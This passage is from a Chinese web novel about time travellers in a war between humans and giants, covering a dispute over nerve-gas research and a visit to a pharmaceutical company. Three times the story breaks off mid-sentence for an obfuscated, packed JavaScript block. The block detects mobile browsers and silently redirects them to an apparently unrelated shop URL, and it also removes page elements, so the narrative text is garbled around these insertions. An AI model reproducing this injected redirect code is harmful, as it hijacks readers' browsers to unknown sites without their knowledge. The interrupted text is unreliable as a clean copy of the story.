低下头,坚硬的土地上遍布碎石,细长的草就从这些碎石缝隙中生长出来,在微风中摇头晃脑。“这地方看着更像神话里的北欧荒原。”莱纳德说。 铅灰色的天上飘着小雨,除了雨滴跌落的沙沙声外,完全听不到任何声响,莱纳德不由自主压低了声音,但在一片寂静中依然显得十分突兀:“如果真是75世纪,青木早就变成煤炭了吧?” 以利亚思索片刻:“传送程式没有错,虽然出了点小问题,但青木肯定仍然以某种形式存在于此,对我们来说也许还有转机,走吧,看看附近有没有线索。”他拉起莱纳德的手,指了个方向:“那边。” “那走吧。”莱纳德顺势回握住他,“前面五十码都没有障碍物,你可以大胆迈步。” “真是个好孩子。” “喂,我可不是你的导盲犬。” “这是你对待盲人的态度吗?” “哼。” 很快,莱纳德就发现,这看似宁静荒僻的山谷其实有不少人类痕迹,比如,稀疏的草茎间偶尔能看到闪闪发光的金属弹壳,一些寸草不生的坑洼则显然是受到过炮弹洗礼。还有一次,莱纳德差点被绊倒,拨开野草,从土壤中斜插出来的竟赫然是几根发黄的白骨。 以利亚胆大包天地伸手去摸,当场鉴定:“是人的肋骨,有年头了。”他拍了拍手上的土,“如果我没猜错的话,这里曾经是个战区,我们得小心点,土里没准埋着陈年地雷,万一经久不坏,踩上去可就糟糕了。” “这可是75世纪,”莱纳德嘟囔,“没准人类连核能地雷都发明出来了,一脚踩下去,轰,直接变成灰。” “你想象力很丰富嘛。” “但我想象不出来,75世纪人类怎么会放着这片地方不加装钢筋混凝土?”以他在穹顶的经验,未来人类似乎对保护大自然早早失去了兴趣。 “也许有特殊的原因吧。”以利亚若有所思,他被莱纳德牵着走,感到对方忽然停下脚步,抓着他的手指猛地收紧,大声叫道:“老天爷,那是什么?” “我怎么知道?”以利亚忍不住苦笑,“形容一下,那东西长什么样?” “咱们离得太远了,我也看不清楚,跟我走。”莱纳德继续向前,透过雨雾,一个小山丘在天际勾勒出苍凉的曲线,再仔细看,这曲线并不是天然的山丘,它在顶部延展出的纤细、流畅的弧形,镂空、规则的结构,呈现出某种独特却又熟悉的美感,而一端的尽头则是个浑圆的球体,孤独地朝向天际。 “那好像是……”莱纳德揉揉眼睛,怀疑自己看错了,但又得不出任何其他答案,“天呐,是一副巨无霸骨头架!” “巨无霸?”以利亚很感兴趣,“有多大?” “起码有三层楼那么高吧,横躺在对面的山上。”莱纳德伸手在眉毛上搭了个凉棚,“看着像是人型,有头骨、有胸骨、有髋骨、有股骨,还挺完整的。” 以利亚吹了声口哨:“你猜我是怎么想的?” 莱纳德瞪着他:“不会吧?” 以利亚果然说出了他心中所想:“我们要找的人就在那儿。” “怎么可能?”莱纳德远远望着巨大的骸骨,他记得之前跟青木遭遇时对方最高不过六尺七八寸,绝对不至于这么高大,“青木后来是吃化肥了吗?” “去看看就知道了。” 两人朝着山丘进发,一路上,人类骸骨越来越多,有的半掩在泥土中,有的身上的衣服还未腐烂,一具只有上半身的尸骨颈骨间挂着一条金项链,仍然闪闪发光。 “以利亚,我有个问题。”莱纳德问道,“这个地方为什么没有动物?没有野狗、兔子、鸟儿,这草长得这么疯,但连只蚂蚱都没有,就算曾经是战场,也不至于连虫子都赶尽杀绝了吧?”而且显然,这里也不像风琴河岸,植物并没有以压倒性的优势抑制动物生存,更没有智慧,野草长得再高也不会突然开口说话。 “我也想不通。”以利亚摇摇头,看来他早就注意到了这一点,两人沉默地走了一段路,他又突兀地开口:“大自然的恢复能力很强大,但动物总是比植物要慢一些。” “那是什么意思?” “也许,这里曾经变成过不毛之地。” 两人终于登上小山丘,巨人白骨此刻更像是某种风格诡异的建筑,他们从一排高高的肋骨下走过,粗大的骨头上竟然盘绕着藤蔓,嫩绿的细藤垂下来,上面还开着白色和黄色的小花。 “谁!”莱纳德忽然大声喝问,斜跨一步挡在以利亚身前,对面有个穿黑衣的人影飞快地闪过一排骨头,他握住金属笔虚张声势,“出来!不然就开枪了!” “你们俩还真是师徒,连骗人的招数都一模一样。”一个熟悉的声音在白骨后响起,声音带笑,“莱纳德,以利亚,好久不见。”话毕,那人施施然走出来,竟然是奥多娜。 “你怎么在这儿?”莱纳德目瞪口呆,同时松了一口气,这时候如果有敌人出现,他可真不知道该怎么对付。 “这问题我才更想问,”奥多娜露出一口雪白的牙齿,“怎么在哪儿都能碰到你们?”她瞄了以利亚一眼,似乎察觉到什么,“你们难道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186542|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从第三战区来的?可山那边明明是安全区啊。” “什么第三战区?什么安全区?”莱纳德不明所以。 “拜托,别告诉我你们连这地方是哪儿都不知道。”奥多娜发现宝贝似的一脸兴味盎然,她故作神秘,有意等莱纳德又追问一遍,才不紧不慢地说:“这是阿斯兰山谷,人类和巨人族的战场,以这条山脉为分界线,你们来的那边是安全区,我身后的那边是战区,所以建议你们还是别再往前走了。”她眨眨眼睛:“除非,你们就是为这场战争而来的。” 莱纳德一头雾水:“上次见面的时候,你跟我们说过,阿斯兰山谷已经是一年前的事了。”那是在穆锁的海盗船上,奥多娜乔装改扮混进了竞拍珍奇植物的买家里。 “这话我没说过。”奥多娜歪过头,“但我以后会跟你说的。”她咧嘴一笑,愉快道,“知道自己还有以后总是这么振奋人心。” 以利亚忽然开口:“你刚才往包里装了什么?” 莱纳德的目光立刻射向奥多娜腰间的包裹,刚才她躲在白骨后面时分明在鼓捣什么,结果一见面他惊喜之下居然抛到了脑后,还得靠以利亚开口提醒。 奥多娜两手一摊:“别紧张,只是一截指骨罢了。”说着打开腰包,果然从里面掏出一根比手掌还长些的白骨。 “你拿这根骨头做什么?”莱纳德问,他想到刚才和以利亚对白骨身份的猜测,心跳不由得加快了,“难道你知道这个巨人是谁?” 奥多娜单手叉腰,另一只手把白骨抛起又接住:“当然是巨人族的前任首领。”她顿了顿,面露惊讶,“难道你们不知道?” 竟然不是青木,莱纳德茫然若失,这下怎么办? 但以利亚却没有半点沮丧的意思,他问奥多娜:“你为什么需要巨人族首领的骨头,时间特工也收集基因数据?” 时间特工这个词让莱纳德浑身一激灵,他这才反应过来,奥多娜·霍普既然是时间特工,那她岂不是为白瑞摩工作?他想起那个穿西装和高跟鞋的魔鬼,心里一凉,更有可能的推测是,奥多娜一直是她安插在他们身边的间谍。 一想到竟然要怀疑奥多娜,莱纳德的胃就忍不住一阵抽搐,奥多娜却似乎没有察觉到莱纳德的心思,淡定道:“我现在单干了,白瑞摩那个老婊子可雇不起我这样的大腕。” “所以,你现在是时间雇佣兵?”以利亚追问,莱纳德则悄悄松了口气。 “星际雇佣兵,最贵的那种。”奥多娜并起食中两指,在额前比了个敬礼的手势,露出一个痞气的笑容,“毕竟并不是所有的星际雇佣兵都能穿越时间。” “那么,这次又是谁雇佣你?”以利亚似乎决定打破砂锅问到底,但看他的表情肯定已经猜到了答案。 “北欧第三战区总司令苏班图沃夫,怎么说呢,他没看错人。”奥多娜说着晃了晃那根白骨,又说,“告诉你们也无妨,军队想要从基因层面找出打败巨人族的办法,但很显然,这个秘密只藏在惨死于阿斯兰战役的巨人族首领身上。” “你说的巨人族首领,”莱纳德终于忍不住问,“名字不会是叫青木吧?” “死了的这个是青木,现任首领是他老婆,叫珊瑚还是蝴蝶的。”奥多娜双手叉腰,瞪起眼睛说道,“你居然知道?所以你刚才一直在跟我装傻咯?” 莱纳德无言以对。 39.第七章:第三战区 “奥多娜,军队拿到青木的骨头后会怎么做?”以利亚对两人的言语拉扯恍若未闻,莱纳德余光瞄到他沉下脸色,不由得心里一紧,奥多娜却无所谓地耸耸肩:“不知道,不关心。” “他们在研究靶向神经毒气,对不对?”以利亚神情凝重,虽然是问句,语气却越发笃定,“刚才我们经过的所谓安全区很明显经历过大面积神经毒气荼毒,但那一次是无差别攻击,连巨人和人类一起,包括阿斯兰山谷的所有动植物全部毒死了,直到今天也只有一部分植物恢复生长。” “哦,这次有了骨头,看来伤亡范围会极大缩小咯。”奥多娜无所谓地说,莱纳德惊讶地瞪向她,以利亚直接反问道:“你知道自己刚才谈论的是种族灭绝级别的灾难吧?” “第一,得到巨人族首领的基因不代表就能研制出来神经毒气,更不代表巨人族会种族灭绝。第二,我只是个拿钱干活的雇佣兵。”奥多娜的眼睛眨也不眨,看着以利亚,反唇相讥,“你知道就算不是我,也会有其他人来取这截骨头吧?” 以利亚脸色更难看了,莱纳德连忙赶在他开口前说道:“你至少能带我们去见这个苏什么总司令,对吧?奥多娜。” “凭什么?”奥多娜抱起胳膊。 莱纳德叹了口气:“我们之间真的要谈价钱吗?” “为什么不?”奥多娜哼笑,冷冷道,“至少我不会一见面就刨根究底地追问你多管闲事的好朋友怎么变成了瞎子。” “奥多娜!”莱纳德也恼了,对奥多娜怒目而视。 “好吧。”奥多娜撇撇嘴,退让一步,“对你们我可以优惠,价格等事成后再谈。”她从腰包里掏出望远镜,递给莱纳德,指着山丘另一边说道:“看到那片谷地里的防御工事了吗?我们就从那条路走,但必须要小心,下面到处都埋着炸药,还有对付巨人族的铁蒺藜。” 莱纳德在望远镜里看到伫立在焦土上残破废墟,还有报废的装甲车和飞机残骸,跟他们来路上的一派绿意截然相反,奥多娜提到的防御工事大部分都借助地形隐藏得很好,莱纳德只隐约看到些影子。 “看样子现在还没有开战,咱们最好抓紧出发。”奥多娜说,“天黑之前必须赶回去。” “等一下。”莱纳德朝奥多娜打了个手势,转向以利亚,低声问,“那件事……可以吗?”虽然几经波折,但这到底是青木的骸骨,他抱着希望,也许以利亚能做些什么,就此恢复视力。 但以利亚却摇了摇头。 莱纳德心一沉,反倒是以利亚拉了他一把:“走吧,总会有办法的。” “我虽然不算什么乐于助人的人。”奥多娜插口道,“但你们这样当着我打哑谜我也会觉得很冒犯,好吗?”她瞥了以利亚一眼:“你身上有黑魔法的痕迹,被人暗算了?” 以利亚板着脸不答,莱纳德愕然问道:“黑魔法?”青木和珊瑚公主的能力难道不是心灵感应? 以利亚撇嘴一笑:“黑魔法和心灵感应只是叫法不同、门派有别而已,看你怎么理解了。” 奥多娜截口道:“随你们怎么叫,不过我倒认识一个对付黑魔法的专家,等这边的事情办妥,可以介绍你们过去。” 莱纳德顿时精神一振:“一言为定!那我们快走吧。” 以利亚没说话,却微不可察地皱起了眉头。 三个人一路下山,向第三战区靠近。 奥多娜领路绕开雷区和蒺藜区,省去了不少麻烦,她在地图里标记了所有岗哨的位置,天色暗下来之前,成功跟哨兵接上了头。奥多娜出示了总司令亲自签发的的通行证,很快联系上了第三战区指挥部,副官贾希德嘱咐他们在原地等待,很快会有车去接应。 “等着吧。”奥多娜就地坐下,随手掐了一截草茎叼在嘴里。 莱纳德抬头看看天色,太阳已经落到了地平线下,只有余晖在天际涂抹出几道金红色,勉强维持着所剩不多的光明。他想起奥多娜的话,忍不住问:“为什么我们必须赶在天黑前回去?” 奥多娜还没回话,一旁的年轻哨兵就插话道:“天黑后这里很不安全,听说巨人今夜会发动袭击。”他穿着一身迷彩服,脸上浓墨重彩的看不出本来样貌,用一双圆溜溜的眼睛看着三人,又说道:“你们要不要跟我隐蔽起来?说不定……” 他的后半句话埋没在了巨大的轰响声中。 一块直径跟车轱辘差不多的石头从空中“呼”地落下,在几人身边的土地上砸出一个大坑,虽然没砸到人,却立刻溅起无数碎石。 莱纳德的左脸被碎石打得生疼,不等他伸手捂住脸,第二块大石头又紧跟着砸在了另一边,动静更大,莱纳德眼前满是飞舞的尘土碎石,右手猛地松脱,竟跟以利亚分开了。 他正要大叫对方的名字,腰上蓦地一紧,被人合身扑倒,后脑勺在地上重重一磕,顿时眼冒金星。 “喂!醒来!” 有人在用力摇晃他,莱纳德忍住头晕睁眼,看到哨兵那双大眼睛正焦急地瞪着他,大声喊道:“快起来,这里不安全!”莱纳德被他拽起来一阵狂奔,头晕得更厉害,喉咙里忍不住发出一声干呕,他两手牢牢抓住哨兵的胳膊,脚下腾云驾雾似的,随时都有可能一头栽到地里。 “停下!我要去找我朋友!”眼前的金星散开后,莱纳德总算找回了自己的声音,但想要张嘴不吐出来仍然很困难。 “大家都散开了,跟紧我,这样更安全。”哨兵在树林间灵活地跑跳,要不是一只手拉着莱纳德,肯定跑得更快,但莱纳德却不停挣扎,一边叫道:“放开我,他看不见,会有危险的!” 哨兵肯定是没听到他的话,头也不回地大喊:“别乱动!巨人进攻,你不要命了吗?”莱纳德压根没看到巨人,按理说,以巨人的身量想要隐蔽偷袭简直是不可能的事,但四周却偏偏连一个巨人影子都没有。 “巨人在哪儿?”莱纳德提高嗓门大吼。 “你看天上!”哨兵边跑边吼。 天上?莱纳德抬起头,枝叶掩映间的天空看起来一切正常,完全没有要下石头雨的意思,但忽然间,只见两扇巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200702|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的膜状翼仿佛能遮天蔽日一般,从两人头顶的天空飞掠而过,巨大的两翼中间是又长又尖的脑袋和长喙,竟比翼手龙还要大。 哨兵拉着莱纳德就地打了个滚,在一旁的草丛里蹲下,小声说道:“那是巨人族的空中坐骑,他们发动奇袭了,我得赶紧把消息传出去,第三战区需要支援。”他左右观察着,想找一条安全隐蔽的出路。 “巨人族还会骑着翼龙在天上飞?”莱纳德目瞪口呆,完全没听到哨兵的后面几句话,他想起青木和曲冠翼龙,如果真是当年的遗祸,那他搞砸得可远不止一星半点。 “嘘,别被听到。”哨兵的声音仿佛是从牙缝里挤出来的。 “我们该怎么办?”莱纳德连忙压低声音。 “等刚才那个巨人飞远了就尽快离开,我必须把情报送到指挥部去。” “可我必须先跟以利亚汇合。” “那我们最好兵分两路。” “不行,你得帮我找到以利亚。” “凭什么?” “请你……” 一声野兽似的咆哮忽然从空中传下,转眼间天空又是一片漆黑,巨人骑着他的飞龙坐骑呼啸而至,稍一盘旋,竟然在空中悬停了,紧接着,巨人壮硕的上半身从龙翼边探出,他手里举着弓箭,对准两人拉满,猝然放手! 飞箭破空而至,发出比哨音更尖锐刺耳的声响,仿佛死神的巨镰。 “趴下!” 莱纳德的大脑里有个声音在尖叫“跑!跑!快躲开!”但浑身却没有一根肌肉听从这个命令,只剩下漆黑的箭头在他的眼前越来越大、越来越大,而他甚至连伸手挡住眼睛的力气都没有。 “噗”的一声。 是利器刺进血肉的声音,听起来温热、松软,就像熟透了的红薯在烤炉里爆开,莱纳德眼前不再是箭镞,而是一双圆溜溜的大眼睛,哨兵的两只手抓着莱纳德的肩膀,想要把他推开,但却来不及了。 一根婴儿手臂那么粗的箭从他的胸前贯出,扎进了身前的土地里,离莱纳德的脑袋只有半个手掌的距离。 莱纳德喉咙里发出一些声音,但只是几个无意义的音节,他半边脸浸在血里,温热的血很快变得冰冷又黏糊糊,他还是动弹不得,哨兵的眼睛近在咫尺,虹膜蒙着一层白雾,像是越过他的肩膀在看别的地方。 头顶的巨龙终于尖啸着飞走了,莱纳德动了动身体,肩膀以下都是麻木的,他花了不少力气才扭动着从哨兵身体下滚出来,身前是血浆,身后是冷汗,风一吹,简直透心凉。 莱纳德喘了口气,双手抓住那根粗大的箭,想把它从哨兵身上拔出来,但角度和位置都不合适,任凭他怎么使劲都没能把它从土里拔出来,只得作罢。他俯下身,伸手阖上哨兵的眼睛,低声说:“对不起。”他还想说些什么,却发现自己对哨兵一无所知,他甚至不知道对方的名字。 哨兵也同样对他一无所知,却在刚才的生死瞬间用自己护住了他。 莱纳德找了一块远离哨兵的土地,弯下腰,开始呕吐。 40.第八章:争端 天色彻底转黑,莱纳德伏低身子,在掩体间曲折前进,希望能尽快找到以利亚和奥多娜,或者,在被巨人一箭射死之前找到第三战区指挥部。 以利亚一定会没事的,莱纳德反复告诉自己,他本事那么大,而且说不定,奥多娜跟他在一起呢,但哨兵灰蒙蒙的眼睛却反复闪过他的脑海,始终挥之不去。 路上还遇到几股散兵,有的神色惊慌,被巨人追得连滚带爬,有的疯了似的大喊大叫,拼命朝所有移动的物体开枪,子弹不长眼,莱纳德险些惨遭池鱼之殃,一时间,天上的巨人、地上的人类仿佛都变成了敌人。他还看到一支训练有素的小队以令人惊叹的手段击杀飞龙,随即陷入与落地巨人的近战,竟然没有人表现出一丝害怕或想要逃跑的意思。 这些大兵根本不知道自己在做什么,莱纳德心想,就像毛毛虫不知道自己为什么要吐丝作茧。 头顶蓦地响起一声巨龙咆哮,尖锐刺耳,仿佛连空气都能撕裂,莱纳德后脖颈上汗毛直竖,一矮身滚进旁边的灌木丛,透过枝叶,空中果然盘旋着一只巨龙,他大气也不敢喘一口,惴惴地等待巨人再给他当头一箭。 “莱纳德!是你吗?”没想到竟是以利亚的声音远远传了下来,莱纳德又惊又喜地探出头来:“是我!”他果然看到巨龙左翼探出一个人影,看轮廓正是以利亚,他往下抛出一卷绳梯,大声喊道:“爬上来!” 莱纳德手脚并用,顺着绳梯能爬多快就爬多快,以利亚竟然把巨龙调教得服服帖帖,稳稳悬停在空中,莱纳德挂在绳梯上荡来荡去,它居然都没把绳梯甩下去。 “抓住我!”以利亚伸出手,把莱纳德用力拽到龙背上,摸了摸他的头脸脖颈,又不放心地问,“没受伤吧?怎么血腥味这么重?”莱纳德身上擦伤无数,但满身的血却是别人的,他接过以利亚递给他的疗伤喷雾,随便喷了几下,愣愣地问:“以利亚,你怎么骑着龙来了?”尽管以利亚在驯服恐龙上已经展现过惊人的天赋,但莱纳德不得不承认,眼下的发展跟他想象中实在相差甚远。 以利亚扬起眉毛,一手按住胸口在龙背上微微欠身:“怎么,我不是你最勇敢的骑士吗?”莱纳德感觉舌头在嘴里打了个结,不等他发出一个完整的音节,以利亚又笑起来:“好了,不开玩笑了,回去再细说,此地不宜久留。”他伸手拍拍龙颈,巨龙便振动两翼,掉头朝一个方向飞去。 “回去哪里?”莱纳德赶紧用两手紧紧抓着龙背上的鞍鞯,尽管巨龙飞得很稳,但疾风扑在脸上还是让他有种会被吹落的紧张感。 以利亚说:“第三战区指挥部。” 巨龙在夜色中降落,莱纳德跟着以利亚从秘密入口一路向下,终于进入了他便寻不得的第三战区指挥部,原来竟藏在地下,怪不得在地面上连一丝灯光都看不到,莱纳德心想,大概是为了躲避巨人的空袭。 指挥部里一片嘈杂混乱,每个人都表情凝重、步履匆忙,制式皮靴的“橐橐”声在走廊里响成一片。莱纳德侧着身挤过走廊,还要护着以利亚,差点跟抱着一大摞文件的秘书撞个满怀,对方连看都没看他一眼,就火急火燎地跑远了。 那个念头又跳了出来,这群人根本不知道自己在干什么,没人知道自己在战争中会扮演何种角色,他们只是装出知道的样子罢了。 “我们的擒龙勇士在哪里?”一个粗豪的声音有力地穿透嘈杂声,那并不是副官贾希德,而是北欧第三战区总指挥官苏班图沃夫,此人身量不高,却很敦实,灰白的头发和大胡子一样蓬乱,额角宽阔,鼻梁高挺,给人一种魁梧威严的感觉。 总司令上前用力握住以利亚的手,大声说道:“我听说了两位的英勇表现,第三战区感谢你们的付出!”他上下摇晃着以利亚的手,对方一言不发,于是他又看着莱纳德,问道:“受伤了吗?小伙子。” 莱纳德摇摇头:“没有。” 总司令赞许地点点头:“好样的。”他收回手,抚摸着下巴上的大胡子,“我的部队正需要你们这样的人,勇敢、聪明、机敏,还懂得御龙之术。”他看着以利亚,意有所指道,“如果有你们的帮助,我们就能把战争缩短到三个月,甚至一个月。” 以利亚还是沉着脸不说话,莱纳德失笑道:“总司令,你是打算征召我们入伍吗?” 总司令微笑着说:“像你们这样的人不多。” “错!”奥多娜不知什么时候走了进来,她换了一身军装,歪戴帽子,冲苏班图沃夫嫣然一笑,“我向您保证,像他们这样的人,全宇宙也找不出第三个来。” 总司令也不知是不习惯被人当面指错,还是不习惯美人微笑,转头避开了她的目光,但还是点头表示同意:“霍普中士对二位一直赞不绝口。” 莱纳德盯着奥多娜:“我还以为你是星际雇佣兵呢,霍普中士。”他努力克制着语气里的嘲讽,但却并不太成功。 “曾经是,也许未来仍是。”奥多娜满不在乎地耸耸肩,“但在第三战区,没人能辜负苏班图沃夫司令的赏识,毕竟我们都希望战争尽快结束,不是吗?”她镇定地回望莱纳德:“你也看到刚才的交战了,告诉我,莱纳德,难道你不这么希望吗?” 莱纳德沉默,哨兵空洞的眼睛又在瞪着他了。 短暂的静默里,以利亚突兀地说道:“靶向性神经毒素的研究不会成功。” 总司令沉下脸,两道浓眉几乎压到眼皮上:“这是什么意思?” 以利亚静静地说:“意思就是,哪怕你拿到巨人族首领的骨头,也只能再制造出第二个、第三个阿斯兰山谷。” 总司令冷哼一声,转向奥多娜:“霍普中士,以后要注意你的言行,我不希望再看到外人谈论军队机密了。” 奥多娜说:“据我所知,在这里没有比以利亚更权威的神经学专家,总司令,我建议你听他说完。” 总司令恍若未闻,冷淡地说:“霍普中士,带他们去休息室休息。” 奥多娜微微一笑:“遵命。” 把以利亚和莱纳德送到休息室后,奥多娜没有立刻离开,她转向莱纳德:“我没有骗你们,我现在的确是星际雇佣兵,但出于某些原因,我还需要留在第三战区一段时间,霍普中士是个合适的身份。” 莱纳德垂下眼皮:“我对你有几个雇主、领几份任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210753|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不感兴趣。” “好吧,我只是想把话说清楚。”奥多娜坐在莱纳德身边,后者立刻向旁边挪了挪,她撇撇嘴,“一个合格的雇佣兵不该这么说,但我把你们当成朋友,真的。” “谢了。”莱纳德故意敷衍。 “你把骨头交给苏班图沃夫了?”以利亚忽然问。 “交了,换来一枚中士军衔。”奥多娜说,她眨眨眼睛,又问道,“你说神经毒素研究不会成功,为什么?也许我能去说服他们。” 以利亚简短地回答:“因为巨人族首领拥有人类同源基因。” “人类同源?”奥多娜惊讶地瞪大眼睛,“我以为巨人族是由海底深渊族进化而来的,跟人类没有半点亲缘关系。” 以利亚板着脸:“青木自己就是深渊族,你以为他是怎么变成巨人的?” 奥多娜张大嘴:“不会吧?那他岂不是得有……”她掐指算了算,“几千万岁了?这是什么品种的老不死?” 以利亚指着自己的眼睛:“人类同源,明白了吗?” “老天爷……是青木对你使用了黑魔法?他偷走你的力量创造了巨人族?”奥多娜几乎是原地跳了起来,火急火燎地跑了出去,“我得马上去找总司令!” 小皮靴的声音很快跑远,休息室安静下来。 莱纳德清清嗓子:“青木用黑魔法偷走你的力量创造了巨人族?嗯?” 以利亚叹了口气:“解释起来很麻烦。”他的右肩膀原本靠着莱纳德,这时忽然奇怪地瑟缩了一下,往旁边挪了挪。 “是吗?奥多娜理解起来倒是很简单。”莱纳德咬牙,他不想让自己听起来小气、嫉妒,但他实在受不了随便哪个人都比他要更了解以利亚,为什么所有人都比他更能看透以利亚? “你肯定已经注意到了,奥多娜的时间线跟我们是交叉的,我们既然见过一年后的她,她想必也见过未来的我们。” 莱纳德拖长音调:“我-不-关-心-奥-多-娜。” “我知道。”以利亚吁了口气,“但青木用什么方法偷走我的视力不重要,他做了什么也不重要,因为那都过去了,重要的是眼下。” “重要的是你不该瞒着我!”莱纳德提高声音,感到有一团热烘烘的东西正在胸口突突乱撞,“传送门的程式是你教我写的,我以为我们是去找回你的视力,但为什么是这里?为什么是75世纪?我连咱们来这儿干什么都搞不明白,你告诉我,我们为什么来这儿?” “为了阻止他们制造神经毒气。”以利亚回答。 “哈,所以你打从一开始就瞒着我,”莱纳德的笑声里没有一丝笑意,他放肆地盯着以利亚,因为他知道对方看不见——这总不会是装的了吧?他满心讽刺地想。“你从来都没想过要恢复视力,以利亚,你只是……”喉咙忽然哽住,他说不下去了。 “我还没有放弃希望,莱尼。”以利亚说。 “那你告诉我,”莱纳德把金属笔拍到他怀里,以利亚反手抓住,感到莱纳德的几根手指飞快地从他掌心抽了出去,跟金属笔一样冰凉,他听到他问出了后半句话:“希望在哪里?” 41.第九章:沃冷公司 “你们俩听说过沃冷医药公司吗?”餐厅里,奥多娜忽然问以利亚和莱纳德,他们周围坐满了吃饭聊天的大兵,显然,战时没有食不言寝不语的规矩,尤其是刚刚结束一场激烈交战,大兵们的睾酮素和肾上腺素居高不下,餐厅嘈杂得仿佛塞进了几百只鸭子。 莱纳德一言不发地咀嚼米饭。 以利亚把筷子戳进面前的鱼肉里:“沃冷医药公司,靠几百年前发家时的卓越医学贡献奖撑门面,背地里净干些见不得人的勾当。” 奥多娜讶然:“你还跟沃冷家族打过交道?” 以利亚不答反问:“怎么忽然想起来问这个公司?”一边以令人咋舌的技巧剔出半副完整的鱼骨,将雪白柔软的鱼肉堆成一堆,洒上料汁,然后把整碟推到了莱纳德面前。 “我说过,要给你们介绍一个对付黑魔法的专家,当然说话算话。”奥多娜说,目光好奇地在以利亚和莱纳德之间打转,看出两人之间的气场不同寻常。 “你要推荐的就是沃冷家族?”以利亚握叉子的指节忽然有些发白。 “意外吗?”奥多娜笑笑,“你说沃冷公司背地里干的勾当,指什么?” “人体实验、基因改造、生化武器……沃冷公司的黑历史基本跟沃冷家族的历史一样长。”以利亚说,“很不幸,他们家族盛产缺乏人性的高智商精英。” 奥多娜笑笑:“我们马上要去见的一位,就是你说的缺乏人性的高智商精英里的佼佼者。” “谁?” “麦德森·沃冷。” “我不……”以利亚刚要说什么,“刺啦”一声,莱纳德把装满鱼肉的碟子推回以利亚面前,他擦了擦嘴,问奥多娜:“我们什么时候出发?” 沃冷医药公司的总部坐落在卢敏纳特星球的首都城,这座城在几百年前就叫做沃冷镇,滥觞于沃冷家族某位爱慕虚荣的镇长祖先。 现如今,当年的小镇已经发展成了繁华都市,但市长仍为这个古老的镇名而感到自豪,并以一名荣誉沃冷家族成员自居——他的女儿有幸嫁给了沃冷家族某位并不算太过旁系的优秀青年,这位青年在沃冷公司的保安部里就任要职,可以说前途无量。 不过沃冷·本对自己的前途远不如岳父那么自信,早上七点十分,他刚刚完成总部大楼的安保巡逻,尽管巡逻结果显示一切正常,但他那天生敏感的神经却有所预感,似乎哪里不大对劲。 最近来总部人的确变多了,都是因为医疗部的新项目,他们招募了一大批志愿者去做小白鼠,每个志愿者都得在总部接受一系列检测,被选中的人才能参与治疗,筛选比例不高,不过听说临床反馈很不错。 “大本,喝咖啡吗?”他的搭档柴尔走进办公室,两手各端着一杯咖啡,不等大本回答,就把咖啡塞进他手里,语气不无讨好,“焦糖拿铁加冰,你的最爱。” “谢了。”本啜饮着冰咖啡,舒服地吁了口气,问,“今天来的小白鼠多吗?” 柴尔胳膊从左滑到右,气势万千地比了个比划道:“警戒线外,人山人海。”看到大本皱起眉头,又说:“能通过警戒线的也不算多,是医药部选了一群老弱病残做临床试验,摔倒一个就得折腾大半天,但安检绝对严格,你放心吧。” “那群白大褂什么时候指望得上?”大本仰头喝掉半杯咖啡,杯子里的冰块发出好听的碰撞声,他沉吟着,决定还是相信自己的直觉:“把F到Z区域的监控视频调出来,我看看。” “还是你谨慎。”柴尔笑嘻嘻地调出监控,把鼠标交给大本,心里却大不以为然,那些老弱病残能有什么威胁?X光一照比脱裤子看得还清楚,谁有能耐搞破坏?拄着拐杖搞人肉铁城墙吗? 大本盯着一楼大厅的监控,正如柴尔所说,志愿者人数不算多,安检进行得也很有秩序,不像是会出差错的样子……他心念一转,又打开H区通往卫生间的走廊监控,立刻眯起眼睛。 监控视频里,有两个人正从卫生间出来,一个男人坐着轮椅、戴着墨镜,另一男人在后面推着他,戴着棒球帽,两个人都低着头,监控镜头里看不出长相。 “怎么了?”柴尔凑上来看,被大本的凝重表情搞得惴惴不安,问道,“有可疑人物?” “没什么。”大本把监控屏幕调回初始状态,又随手按了几个键,站起身,一口喝干剩下的半杯咖啡,拍拍柴尔的肩膀,“我出去放个水,你盯着点。” “遵命,老大。”柴尔在他背后做了鬼脸,无声地骂他,傻叉工作狂。 要说总部大楼的安保措施,恐怕没人比沃冷·本更能如数家珍,他来总部任职的第一周,就记住了大楼里的每一条走廊和楼梯间,数得出每层楼有几道门、几扇窗,清楚每一个摄像头的位置和角度,有时还会亲自却做些微调,以确保没有哪个自以为是的烟鬼偷偷拧转镜头只为了给自己创造一个舒适的吸烟区。 同样清楚的是,从卫生间里走出来的那两个家伙,压根就没进去过,监控视频里只有他们出来的画面。 换句话说,除非他们跟拖把上的蘑菇一样是自己从卫生间里长出来的,否则一定有猫腻。 